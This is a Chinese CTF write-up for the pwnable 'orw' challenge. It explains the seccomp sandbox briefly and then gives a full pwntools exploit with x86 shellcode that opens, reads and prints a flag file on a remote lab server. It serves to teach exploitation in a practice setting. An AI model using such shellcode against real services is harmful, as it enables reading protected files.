其他分享
首页 > 其他分享> > pwnable_orw

pwnable_orw

作者:互联网

pwnable_orw

1.ida分析

 

 

 

 首先程序的第一个函数实现了一个沙盒的功能,禁止提权和只能调用一部分的函数。

所以大概思路就是写入shellcode打开flag然后读出来。

2.查看可用函数

 

 刚好open,read,write函数都可以使用。

3.解决

exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'


p=remote('node4.buuoj.cn',27193)
#p=process('./orw')
#p=process(["/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/ld-2.23.so",'./easyheap'],env={"LD_PRELOAD":"/root/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so"})
#elf=ELF('bjdctf_2020_babyrop2')

get_flag='''
push 0x0
push 0x7478742e
push 0x67616c66
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov eax,0x5
int 0x80

mov ecx,0x804a500
mov ebx,0x3
mov edx,0x50
mov eax,0x3
int 0x80

mov ebx,0x1
mov eax,0x4
int 0x80
'''

shellcode=asm(get_flag)
p.sendlineafter('shellcode:',shellcode)

p.interactive()

 

4.prctl函数

占坑

标签:orw,pwnable,mov,2.23,edx,shellcode,ecx
来源: https://www.cnblogs.com/mio-yy/p/15044329.html